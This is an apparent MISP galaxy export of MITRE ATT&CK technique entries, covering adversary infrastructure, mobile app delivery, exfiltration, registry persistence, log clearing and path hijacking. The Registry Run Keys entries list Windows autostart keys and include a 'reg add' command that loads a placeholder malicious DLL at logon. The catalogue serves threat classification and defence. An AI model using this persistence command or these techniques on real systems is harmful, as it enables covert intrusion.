A wide variety of 3rd party software services are available (e.g., [Twitter](https://twitter.com), [Dropbox](https://www.dropbox.com), [GoogleDocs](https://www.google.com/docs/about)). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012) (Citation: Nemucod Facebook)

The tag is: *misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party software services - T1308"*

View relationships graph

Acquire and/or use 3rd party software services - T1308 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party software services - T1330" with estimative-language:likelihood-probability="almost-certain"

Table 3600. Table References

Links
https://attack.mitre.org/techniques/T1308

Test signature detection for file upload/email filters - T1361

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1361).

An adversary can test their planned method of attack against existing security products such as email filters or intrusion detection sensors (IDS). (Citation: WiredVirusTotal)

The tag is: *misp-galaxy:mitre-attack-pattern="Test signature detection for file upload/email filters - T1361"*

Table 3601. Table References

Links
https://attack.mitre.org/techniques/T1361

Acquire and/or use 3rd party infrastructure services - T1329

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1329).

A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: TrendmicroHideoutsLease)

The tag is: *misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1329"*

View relationships graph

Acquire and/or use 3rd party infrastructure services - T1329 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1307" with estimative-language:likelihood-probability="almost-certain"

Table 3602. Table References

Links
https://attack.mitre.org/techniques/T1329
https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf

Acquire or compromise 3rd party signing certificates - T1310

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1310).

Code signing is the process of digitally signing executables or scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. (Citation: Adobe Code Signing Cert)

The tag is: *misp-galaxy:mitre-attack-pattern="Acquire or compromise 3rd party signing certificates - T1310"*

View relationships graph

Acquire or compromise 3rd party signing certificates - T1310 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Acquire or compromise 3rd party signing certificates - T1332" with estimative-language:likelihood-probability="almost-certain"

Table 3603. Table References

Links
https://attack.mitre.org/techniques/T1310

Compromise 3rd party infrastructure to support delivery - T1312

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1312).

Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise 3rd party infrastructure to support delivery - T1312"*

View relationships graph

Compromise 3rd party infrastructure to support delivery - T1312 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Compromise 3rd party infrastructure to support delivery - T1334" with estimative-language:likelihood-probability="almost-certain"

Table 3604. Table References

Links
https://attack.mitre.org/techniques/T1312

Acquire or compromise 3rd party signing certificates - T1332

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1332).

Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. (Citation: DiginotarCompromise)

The tag is: *misp-galaxy:mitre-attack-pattern="Acquire or compromise 3rd party signing certificates - T1332"*

View relationships graph

Acquire or compromise 3rd party signing certificates - T1332 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Acquire or compromise 3rd party signing certificates - T1310" with estimative-language:likelihood-probability="almost-certain"

Table 3605. Table References

Links
https://attack.mitre.org/techniques/T1332
https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/

Compromise 3rd party infrastructure to support delivery - T1334

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1334).

Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise 3rd party infrastructure to support delivery - T1334"*

View relationships graph

Compromise 3rd party infrastructure to support delivery - T1334 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Compromise 3rd party infrastructure to support delivery - T1312" with estimative-language:likelihood-probability="almost-certain"

Table 3606. Table References

Links
https://attack.mitre.org/techniques/T1334

Human performs requested action of physical nature - T1385

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Through social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary. This could include providing a password over the phone or inserting a 'found' CD or USB into a system. (Citation: AnonHBGary) (Citation: CSOInsideOutside)

The tag is: *misp-galaxy:mitre-attack-pattern="Human performs requested action of physical nature - T1385"*

Table 3607. Table References

Links
https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/
https://attack.mitre.org/techniques/T1385

Abuse of iOS Enterprise App Signing Key - T1445

An adversary could abuse an iOS enterprise app signing key (intended for enterprise in-house distribution of apps) to sign malicious iOS apps so that they can be installed on iOS devices without the app needing to be published on Apple's App Store. For example, Xiao describes use of this technique in (Citation: Xiao-iOS).

Detection: iOS 9 and above typically requires explicit user consent before allowing installation of applications signed with enterprise distribution keys rather than installed from Apple's App Store.

Platforms: iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Abuse of iOS Enterprise App Signing Key - T1445"*

View relationships graph

Abuse of iOS Enterprise App Signing Key - T1445 has relationships with:

* revoked-by: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"

Table 3608. Table References

Links
https://attack.mitre.org/techniques/T1445

Deliver Malicious App via Authorized App Store - T1475

Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. Mobile devices often are configured to allow application installation only from an authorized app store (e.g., Google Play Store or Apple App Store). An adversary may seek to place a malicious application in an authorized app store, enabling the application to be installed onto targeted devices.

App stores typically require developer registration and use vetting techniques to identify malicious applications. Adversaries may use these techniques against app store defenses:

* [Download New Code at Runtime](https://attack.mitre.org/techniques/T1407)
* [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1406)

Adversaries may also seek to evade vetting by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis. (Citation: Petsas) (Citation: Oberheide-Bouncer) (Citation: Percoco-Bouncer) (Citation: Wang)

Adversaries may also use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. (Citation: Oberheide-Bouncer)

Adversaries may also use control of a target's Google account to use the Google Play Store's remote installation capability to install apps onto the Android devices associated with the Google account. (Citation: Oberheide-RemoteInstall) (Citation: Konoth) (Only applications that are available for download through the Google Play Store can be remotely installed using this technique.)

The tag is: *misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475"*

Table 3609. Table References

Links
http://dl.acm.org/citation.cfm?id=2592796
http://www.vvdveen.com/publications/BAndroid.pdf
https://attack.mitre.org/techniques/T1475
https://jon.oberheide.org/blog/2010/06/25/remote-kill-and-install-on-google-android/
https://jon.oberheide.org/files/summercon12-bouncer.pdf

https://media.blackhat.com/bh-us-12/Briefings/Percoco/BH_US_12_Percoco_Adventures_in_Bouncerland_WP.pdf
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-16.html
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-17.html
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-22.html
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-4.html
https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang_tielei

Device Unlock Code Guessing or Brute Force - T1459

An adversary could make educated guesses of the device lock screen's PIN/password (e.g., commonly used values, birthdays, anniversaries) or attempt a dictionary or brute force attack against it. Brute force attacks could potentially be automated (Citation: PopSci-IPBox).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Device Unlock Code Guessing or Brute Force - T1459"*

View relationships graph

Device Unlock Code Guessing or Brute Force - T1459 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461" with estimative-language:likelihood-probability="almost-certain"

Table 3610. Table References

Links
https://attack.mitre.org/techniques/T1459

Assign KITs, KIQs, and/or intelligence requirements - T1238

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1238).

Once generated, Key Intelligence Topics (KITs), Key Intelligence Questions (KIQs), and/or intelligence requirements are assigned to applicable agencies and/or personnel. For example, an adversary may decide nuclear energy requirements should be assigned to a specific organization based on their mission. (Citation: AnalystsAndPolicymaking) (Citation: JP2-01)

The tag is: *misp-galaxy:mitre-attack-pattern="Assign KITs, KIQs, and/or intelligence requirements -*

T1238"

Table 3611. Table References

Links
https://attack.mitre.org/techniques/T1238

Assess current holdings, needs, and wants - T1236

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1236).

Analysts assess current information available against requirements that outline needs and wants as part of the research baselining process to begin satisfying a requirement. (Citation: CyberAdvertisingChar) (Citation: CIATradecraft) (Citation: ForensicAdversaryModeling) (Citation: CyberAdversaryBehavior)

The tag is: *misp-galaxy:mitre-attack-pattern="Assess current holdings, needs, and wants - T1236"*

Table 3612. Table References

Links
https://attack.mitre.org/techniques/T1236

Submit KITs, KIQs, and intelligence requirements - T1237

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1237).

Once they have been created, intelligence requirements, Key Intelligence Topics (KITs), and Key Intelligence Questions (KIQs) are submitted into a central management system. (Citation: ICD204) (Citation: KIT-Herring)

The tag is: *misp-galaxy:mitre-attack-pattern="Submit KITs, KIQs, and intelligence requirements - T1237"*

Table 3613. Table References

Links
https://attack.mitre.org/techniques/T1237

Common, high volume protocols and software - T1321

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content

of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1321).

Certain types of traffic (e.g., Twitter14, HTTP) are more commonly used than others. Utilizing more common protocols and software may make an adversary's traffic more difficult to distinguish from legitimate traffic. (Citation: symantecNITRO)

The tag is: *misp-galaxy:mitre-attack-pattern="Common, high volume protocols and software - T1321"*

Table 3614. Table References

Links
https://attack.mitre.org/techniques/T1321

Exfiltration Over Symmetric Encrypted Non-C2 Protocol - T1048.001

Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Symmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data.

Network protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP).

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Symmetric Encrypted Non-C2 Protocol - T1048.001"*

Table 3615. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1048/001

Exfiltration Over Asymmetric Encrypted Non-C2 Protocol - T1048.002

Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Asymmetric encryption algorithms are those that use different keys on each end of the channel.

Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin.

Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Asymmetric Encrypted Non-C2 Protocol - T1048.002"*

Table 3616. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1048/002

Non-traditional or less attributable payment options - T1316

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1316).

Using alternative payment options allows an adversary to hide their activities. Options include crypto currencies, barter systems, pre-paid cards or shell accounts. (Citation: Goodin300InBitcoins)

The tag is: *misp-galaxy:mitre-attack-pattern="Non-traditional or less attributable payment options - T1316"*

Table 3617. Table References

Links
https://attack.mitre.org/techniques/T1316

Choose pre-compromised persona and affiliated accounts - T1343

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1343).

For attacks incorporating social engineering the utilization of an on-line persona is important. Utilizing an existing persona with compromised accounts may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. (Citation: AnonHBGary) (Citation: Hacked Social Media Accounts)

The tag is: *misp-galaxy:mitre-attack-pattern="Choose pre-compromised persona and affiliated accounts - T1343"*

Table 3618. Table References

Links
https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/
https://attack.mitre.org/techniques/T1343

Malicious or Vulnerable Built-in Device Functionality - T1473

The mobile device could contain built-in functionality with malicious behavior or exploitable vulnerabilities. An adversary could deliberately insert and take advantage of the malicious behavior or could exploit inadvertent vulnerabilities. In many cases, it is difficult to be certain whether exploitable functionality is due to malicious intent or simply an inadvertent mistake.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Malicious or Vulnerable Built-in Device Functionality - T1473"*

View relationships graph

Malicious or Vulnerable Built-in Device Functionality - T1473 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"

Table 3619. Table References

Links
https://attack.mitre.org/techniques/T1473

Identify vulnerabilities in third-party software libraries - T1389

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1389).

Many applications use third-party software libraries, often without full knowledge of the behavior of the libraries by the application developer. For example, mobile applications often incorporate advertising libraries to generate revenue for the application developer. Vulnerabilities in these third-party libraries could potentially be exploited in any application that uses the library, and even if the vulnerabilities are fixed, many applications may still use older, vulnerable versions of the library. (Citation: Flexera News Vulnerabilities) (Citation: Android Security Review 2015) (Citation: Android Multidex RCE)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify vulnerabilities in third-party software libraries - T1389"*

Table 3620. Table References

Links
https://attack.mitre.org/techniques/T1389

Registry Run Keys / Startup Folder - T1547.001

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.

Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is <code>C:\Users\\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</code>. The startup folder path for all users is <code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp</code>.

The following run keys are created by default on Windows systems:

- <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code>
- <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>
- <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</code>
- <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>

Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)

The following Registry keys can be used to set startup folder items for persistence:

- <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code>
- <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code>

- <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code>
- <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code>

The following Registry keys can control automatic startup of services during boot:

- <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code>
- <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code>
- <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices</code>
- <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices</code>

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

- <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code>
- <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code>

The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit</code> and <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell</code> subkeys can automatically launch programs.

Programs listed in the load value of the registry key <code>HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> run when any user logs on.

By default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> is set to <code>autocheck autochk *</code>. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.

The tag is: *misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"*

Table 3621. Table References

Links
http://msdn.microsoft.com/en-us/library/aa376977
https://attack.mitre.org/techniques/T1547/001
https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/
https://capec.mitre.org/data/definitions/270.html
https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry
https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/
https://technet.microsoft.com/en-us/sysinternals/bb963902

Clear Linux or Mac System Logs - T1070.002

Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the <code>/var/log/</code> directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)

- <code>/var/log/messages:</code>: General and system-related messages
- <code>/var/log/secure</code> or <code>/var/log/auth.log</code>: Authentication logs
- <code>/var/log/utmp</code> or <code>/var/log/wtmp</code>: Login records
- <code>/var/log/kern.log</code>: Kernel logs
- <code>/var/log/cron.log</code>: Crond logs
- <code>/var/log/maillog</code>: Mail server logs
- <code>/var/log/httpd/</code>: Web server access and error logs

The tag is: *misp-galaxy:mitre-attack-pattern="Clear Linux or Mac System Logs - T1070.002"*

Table 3622. Table References

Links
https://attack.mitre.org/techniques/T1070/002
https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/

Compromise Software Dependencies and Development Tools - T1195.001

Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)

Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise Software Dependencies and Development Tools - T1195.001"*

Table 3623. Table References

Links
https://attack.mitre.org/techniques/T1195/001
https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets

Windows File and Directory Permissions Modification - T1222.001

Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

Windows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)

Adversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).

The tag is: *misp-galaxy:mitre-attack-pattern="Windows File and Directory Permissions Modification - T1222.001"*

Table 3624. Table References

Links
https://attack.mitre.org/techniques/T1222/001
https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists

https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces
https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/
https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110
https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100

Path Interception by PATH Environment Variable - T1574.007

Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.

The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\system32</code> (e.g., <code>C:\Windows\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.

For example, if <code>C:\example path</code> precedes </code>C:\Windows\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\example path</code> will be called instead of the Windows system "net" when "net" is executed from the command-line.

The tag is: *misp-galaxy:mitre-attack-pattern="Path Interception by PATH Environment Variable - T1574.007"*

Table 3625. Table References

Links
https://attack.mitre.org/techniques/T1574/007
https://capec.mitre.org/data/definitions/13.html
https://capec.mitre.org/data/definitions/38.html

Path Interception by Search Order Hijacking - T1574.008

Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.

Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.

For example, "example.exe" runs "cmd.exe" with the command-line argument <code>net user</code>. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then <code>cmd.exe /C net user</code> will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)

Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).

The tag is: *misp-galaxy:mitre-attack-pattern="Path Interception by Search Order Hijacking - T1574.008"*

Table 3626. Table References

Links
http://msdn.microsoft.com/en-us/library/ms682425
http://msdn.microsoft.com/en-us/library/ms687393
https://attack.mitre.org/techniques/T1574/008
https://capec.mitre.org/data/definitions/159.html
https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120
https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN

Registry Run Keys / Startup Folder - T1060

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.

Placing a program within a startup folder will cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in.

The startup folder path for the current user is: * <code>C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</code> The startup folder path for all users is: * <code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp</code>

The following run keys are created by default on Windows systems: * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce</code> * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</code> * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>

The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)

The following Registry keys can be used to set startup folder items for persistence: * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code> * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code> * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code>

